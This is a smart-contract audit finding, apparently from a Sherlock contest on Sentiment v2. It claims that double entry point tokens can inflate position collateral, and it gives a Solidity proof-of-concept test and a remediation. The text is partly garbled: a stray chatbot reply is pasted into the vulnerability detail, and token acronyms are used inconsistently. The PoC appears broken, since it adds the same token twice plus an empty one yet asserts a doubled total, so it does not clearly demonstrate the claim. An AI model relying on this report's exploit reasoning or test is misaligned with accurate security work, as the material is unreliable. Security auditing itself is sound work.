Attacker Can Inflate Collateral by Exploiting Double Entry Point Tokens

Summary

The addToken function in the Position contract can be used to allow attacker to add tokens with double entry point but the same underlying asset to the position. This issue can lead to significant problems when calculating the collateral value, as the same asset could be counted multiple times in the collateral calculation.

Vulnerability Detail

Tokens with different addresses but the same underlying asset (referred to as double entry point tokens) can be added to the position using the addToken function. This is problematic because the collateral calculation function getTotalAssetValue counts each token address separately, potentially inflating the total collateral value.

Here's how the vulnerability works:

Adding Tokens: An attacker can add multiple addresses of the same asset to the position.
Collateral Calculation: The getTotalAssetValue function aggregates the value of all assets held by the position. Since it considers each token address separately, it could miscalculate the total value by counting the same underlying asset multiple times. Got it! You just wanted the note formatted. Here it is:

NOTE { EXTERNAL CONDITION }:

DNP tokens can be added to the position manager using the following function:

/// @notice Toggle asset inclusion in the known asset universe
function toggleKnownAsset(address asset) external onlyOwner {
    isKnownAsset[asset] = !isKnownAsset[asset];
    emit ToggleKnownAsset(asset, isKnownAsset[asset]);
}

DEP TOKEN Currently, the only known double entry-point tokens are SNX and sBTC on Ethereum mainnet.

Impact

Overstated Collateral: The position's collateral value can be artificially inflated, as the same asset is counted multiple times.
Protocol Risks: This can lead to severe risks for the protocol, including potential exploitation where users can leverage inflated collateral to borrow more than they should be able to.

Code Snippet

/// @notice Add asset to the list of tokens currently held by the position
// @audit attacker can add token with different address but same balance
function addToken(address asset) external onlyPositionManager {
    positionAssets.insert(asset);
    if (positionAssets.length() > MAX_ASSETS) revert Position_MaxAssetsExceeded(address(this));
}

link

function getTotalAssetValue(address position) public view returns (uint256) {
    address[] memory positionAssets = Position(payable(position)).getPositionAssets();
    console2.log("positionAssets", positionAssets.length);
    uint256 totalAssetValue;
    uint256 positionAssetsLength = positionAssets.length;
    for (uint256 i; i < positionAssetsLength; ++i) {
        totalAssetValue += getAssetValue(position, positionAssets[i]);
        console2.log("totalAssetValue", totalAssetValue);
    }

    return totalAssetValue;
}

Coded POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {BaseTest, MockSwap} from "../BaseTest.t.sol";
import {MockERC20} from "../mocks/MockERC20.sol";
import {Pool} from "src/Pool.sol";
import {Action} from "src/PositionManager.sol";
import {PositionManager} from "src/PositionManager.sol";
import {RiskEngine} from "src/RiskEngine.sol";
import {RiskModule} from "src/RiskModule.sol";
import {FixedPriceOracle} from "src/oracle/FixedPriceOracle.sol";
import {console2} from "forge-std/console2.sol";

contract RiskModuleUnitTests is BaseTest {
    Pool pool;
    address position;
    RiskEngine riskEngine;
    RiskModule riskModule;
    PositionManager positionManager;

    FixedPriceOracle oneEthOracle;

    function setUp() public override {
        super.setUp();

        oneEthOracle = new FixedPriceOracle(1e18);

        pool = protocol.pool();
        riskEngine = protocol.riskEngine();
        riskModule = protocol.riskModule();
        positionManager = protocol.positionManager();

        vm.startPrank(protocolOwner);
        riskEngine.setOracle(address(asset1), address(oneEthOracle)); // 1 asset1 = 1 eth
        riskEngine.setOracle(address(asset2), address(oneEthOracle)); // 1 asset2 = 1 eth
        riskEngine.setOracle(address(asset3), address(oneEthOracle)); // 1 asset3 = 1 eth
        vm.stopPrank();

        vm.startPrank(poolOwner);
        riskEngine.requestLtvUpdate(fixedRatePool, address(asset3), 0.5e18); // 2x lev
        riskEngine.acceptLtvUpdate(fixedRatePool, address(asset3));
        riskEngine.requestLtvUpdate(fixedRatePool, address(asset2), 0.5e18); // 2x lev
        riskEngine.acceptLtvUpdate(fixedRatePool, address(asset2));
        vm.stopPrank();

        asset1.mint(lender, 100e18);
        asset2.mint(user, 10e18);

        vm.startPrank(lender);
        asset1.approve(address(pool), 100e18);
        pool.deposit(fixedRatePool, 100e18, lender);
        vm.stopPrank();
    }

    function testAssetTotalAmount() public {
        vm.startPrank(user);
        asset2.approve(address(positionManager), 1e18);

        // deposit 1e18 asset2, borrow 1e18 asset1
        Action[] memory actions = new Action[](5);
        (position, actions[0]) = newPosition(
            user,
            bytes32(uint256(0x123456789))
        );
        actions[1] = deposit(address(asset2), 1e18);

        /*//////////////////////////////////////////////////////////////
                        SIMULTING DOUBLE ENTRY POINT TOKEN
        //////////////////////////////////////////////////////////////*/

        actions[2] = addToken(address(asset2));
        actions[3] = addToken(address(asset2));
        actions[4] = addToken(address(asset3));

        positionManager.processBatch(position, actions);
        vm.stopPrank();

        uint totalAm = riskModule.getTotalAssetValue(position);
        assertEq(totalAm, 2e18);
        console2.log("total asset value", totalAm);
    }
}

Tool used

Manual Review

Recommendation

Token Uniqueness Check: Implement a mechanism to ensure that each token address added to the position is unique or validate that tokens with different addresses are not representing the same underlying asset.

sherlock-audit / 2024-08-sentiment-v2-judging

0xarno - Attacker Can Inflate Collateral by Exploiting Double Entry Point Tokens #596